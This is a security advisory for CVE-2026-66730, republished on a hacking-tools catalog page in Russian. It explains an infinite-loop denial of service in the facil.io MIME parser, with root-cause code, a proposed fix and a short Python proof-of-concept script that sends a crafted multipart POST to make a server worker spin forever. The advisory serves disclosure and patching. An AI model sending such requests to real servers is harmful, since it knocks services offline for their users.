Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-66730-Infinite-Loop-DoS-in-facil.io-MIME-Parser — Security Advisory: Бесконечный цикл DoS в MIME-парсере facil.io (частичная граница) | Kitploit
Инструменты/GitHubGitHub/theopaid/cve-2026-66730-infinite-loop-dos-in-facil.io-mime-parser
Анализ уязвимостейАнализ КодаВеб-безопасностьСтатьи и ИсследованияОбучение и Образование
GitHubtheopaid/cve-2026-66730-infinite-loop-dos-in-facil.io-mime-parser

CVE-2026-66730-Infinite-Loop-DoS-in-facil.io-MIME-Parser

Security Advisory: Бесконечный цикл DoS в MIME-парсере facil.io (частичная граница)

Репозиторий
31 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Уведомление о безопасности: Бесконечный цикл DoS в MIME-парсере facil.io (Частичная граница)

Назначенный CVE ID: CVE-2026-66730

Продукт: facil.io
Затронутые версии: facil.io >= 0.6.0 (все 0.6.x, все 0.7.x, master); появился вместе с MIME-парсером в 0.6.0
Компонент: lib/facil/http/http.c, lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-835 (цикл с недостижимым условием выхода), CWE-400 (неконтролируемое потребление ресурсов)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Исследователь: Theodosis Paidakis


Краткое описание

Запрос multipart/form-data, тело которого заканчивается частичной закрывающей границей (например, --B- вместо --B--\r\n), приводит к тому, что http_parse_body() зацикливается со 100% загрузкой CPU. MIME-парсер возвращает 0 потреблённых байт, когда он останавливается на частичной границе, но вызывающий цикл проверяет только . Ни один из флагов не установлен, поэтому он бесконечно вызывает парсер с теми же данными. Сервер не падает, поэтому воркер не перезапускается. Один неаутентифицированный POST-запрос навсегда замораживает один воркер.

!done && !error

Это не связано с CVE-2026-41146, который представляет собой бесконечный цикл в JSON-парсере (fio_json_parser.h). Этот баг находится в MIME/multipart-парсере.


Корневая причина

Часть 1: Отсутствие проверки прогресса в вызывающем коде

lib/facil/http/http.c, строки 1963-1967

root@kitploit:~
// lib/facil/http/http.c:1963-1967
do {
    size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
    p.pos += cons;                                         // += 0 when parser stalls
    p.buffer = fiobj_data_pread(h->body, p.pos, 4096);    // same slice returned again
} while (p.buffer.data && !p.p.done && !p.p.error);       // neither flag set -> loops forever

Если http_mime_parse возвращает 0 и не устанавливает ни done, ни error, p.pos остаётся неизменным, fiobj_data_pread возвращает тот же буфер, и у цикла нет выхода.

Часть 2: Когда http_mime_parse возвращает 0

lib/facil/http/parsers/http_mime_parser.h, строки 314-329 и ветвь consume_partial

Парсер сканирует секцию значения в поисках полной границы. Когда тело заканчивается на \n--B- (на четыре байта короче полной закрывающей границы \n--B--\r\n), сканирование находит \n, за которым следует то, что выглядит как начало границы, но не может подтвердить, что она полная:

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h:314-329 (value scan)
do {
    end = memchr(end, '\n', (size_t)(stop - end));
} while (end && ++end &&
         (size_t)(stop - end) >= (4 + parser->boundary_len) &&
         (end[0] != '-' || end[1] != '-' || memcmp(end+2, parser->boundary, parser->boundary_len)));
if (!end || end + 4 + parser->boundary_len >= stop) {
    // partial boundary -- transition to consume_partial on first call
    parser->in_obj = 1;
    goto consume_partial;
}

При следующем вызове in_obj уже установлен. Ветвь consume_partial находит тот же \n перед --B-, а затем отодвигает возвращаемый указатель назад, перед непотреблёнными данными:

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h (consume_partial branch, ~line 162-169)
} else if (end + 4 + parser->boundary_len >= stop) {
    end -= 2;
    if (end[0] == '\r') --end;   // end now points before the \n
    pos = end;                    // return pointer set behind any new data
    goto end_of_data;             // returns 0 bytes consumed
}

pos оказывается в той же точке или раньше стартовой. Функция возвращает 0. Возвращаясь к вызывающему коду, cons = 0, p.pos не двигается, и цикл повторяется.


Доказательство концепции

Запустите сервер, затем выполните:

root@kitploit:~
# poc_mime_infinite_loop.py
import socket, time

BOUNDARY = "B"
body = (
    "--B\r\n"
    "Content-Disposition: form-data; name=field\r\n"
    "\r\n"
    "value\r\n"
    "--B-"      # partial closing boundary: missing final '-\r\n'
).encode()

req = (
    f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
    f"Content-Type: multipart/form-data; boundary=B\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body

s = socket.socket()
s.settimeout(10)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
    s.recv(4096)
    print("got response - not vulnerable")
except socket.timeout:
    print("hung for 10s - server spinning at 100% CPU")

Наблюдается: процесс сервера загружает CPU на 99.7-100%. Для восстановления требуется kill -9.


Воздействие

Зависший воркер никогда не завершается, поэтому перезапуска не происходит. При достаточном количестве запросов (равном числу воркеров) сервер навсегда перестаёт обслуживать всех клиентов до ручного перезапуска. Не требуется ни аутентификации, ни специальных заголовков, ни предварительного состояния.


Исправление

Добавьте защиту от отсутствия прогресса в цикл в http_parse_body:

lib/facil/http/http.c, строки 1963-1967

root@kitploit:~
// lib/facil/http/http.c:1963-1967 -- proposed fix
size_t last_pos = (size_t)-1;
do {
    if (p.pos == last_pos) { p.p.error = 1; break; }   // no progress: abort
    last_pos = p.pos;
    size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
    p.pos += cons;
    p.buffer = fiobj_data_pread(h->body, p.pos, 4096);
} while (p.buffer.data && !p.p.done && !p.p.error);
Скачать инструмент